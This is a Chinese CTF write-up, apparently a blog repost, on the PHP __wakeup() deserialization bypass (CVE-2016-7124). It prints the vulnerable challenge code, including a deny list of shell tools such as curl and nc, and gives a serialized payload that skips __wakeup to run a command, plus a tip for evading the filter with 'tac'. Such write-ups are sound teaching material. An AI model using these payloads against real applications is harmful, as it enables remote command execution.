PHP反序列化-__wakeup()方法漏洞(CVE-2016-7124)
寫在前面
wakeup()是在反序列化的基礎之上進行的,如果你不是很清楚反序列化漏洞,可以點擊下方:
反序列化漏洞
漏洞影響的版本
PHP5 < 5.6.25
PHP7 < 7.0.10
漏洞利用方法
若在對象的魔法函數中存在的__wakeup方法,那么之后再調用 unserilize() 方法進行反序列化之前則會先調用__wakeup方法,但是序列化字符串中表示對象屬性個數的值大于真實的屬性個數時會跳過__wakeup的執行
漏洞出現情況
1.可以之間或簡介控制序列化結果
2.__wakeup()函數會強制修改某些內容
示例(Bugku-web-安慰獎)
題目源碼
<?phpheader("Content-Type: text/html;charset=utf-8"); error_reporting(0); echo "<!-- YmFja3Vwcw== -->"; class ctf {protected $username = 'hack';protected $cmd = 'NULL';public function __construct($username,$cmd){$this->username = $username;$this->cmd = $cmd;}function __wakeup(){$this->username = 'guest';}function __destruct(){if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)){exit('</br>flag能讓你這么容易拿到嗎?<br>');}if ($this->username === 'admin'){// echo "<br>right!<br>";$a = `$this->cmd`;var_dump($a);}else{echo "</br>給你個安慰獎吧,hhh!</br>";die();}} }$select = $_GET['code'];$res=unserialize(@$select); ?>這里的wakeup函數就強制對username屬性進行更改,要得到flag就必須繞過wakeup,將username改成admin,然后再執行命令。
寫出第一次的payload:
寫的時候最好用腳本寫,這里有protected關鍵字,要加*手寫容易出錯。
接下來將ctf的參值長度改為3,由于與反序列化規則不符,就會反序列化失敗,繞過__wakeup(),但是__destruct仍然可以執行。
注:
或許你會疑惑:
明明無法完成反序列化,為什么還可以觸發__destruct(),為什么還能夠對username屬性賦值?
你可以這樣理解:
反序列化是一個正向檢索的函數,雖然對于整體來說,數量不符,無法完成反序列化,但是可以盡可能檢索能夠完成反序列化的目標,所以這里數量改為了3,會先依次反序列化2個單位,直到無法檢索到第3個目標才判定反序列化失敗。
所以當然可以觸發__destruct(),完成前面屬性的賦值。
第二次的payload:
O:3:"ctf":3:{s:11:"*username";s:5:"admin";s:6:"*cmd";s:2:"ls";}這里對命令進行了一定正則篩選
除了上述命令,還可以使用’tac’來檢索文件
只是和cat反了過來。
并且由于是protected屬性,會加上*,并且長度為3(上面payload username名稱那里長度為11也能推斷出)
在url編碼中,%00代表空,所以我們要手動加上。還原完整payload
所以最終payload:
拿到flag
總結
以上是生活随笔為你收集整理的PHP反序列化-__wakeup()方法漏洞(CVE-2016-7124)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 谷歌Xswitch插件下载及安装失败原因
- 下一篇: 谁来买我们的DRAM?美光公司摸摸干瘪的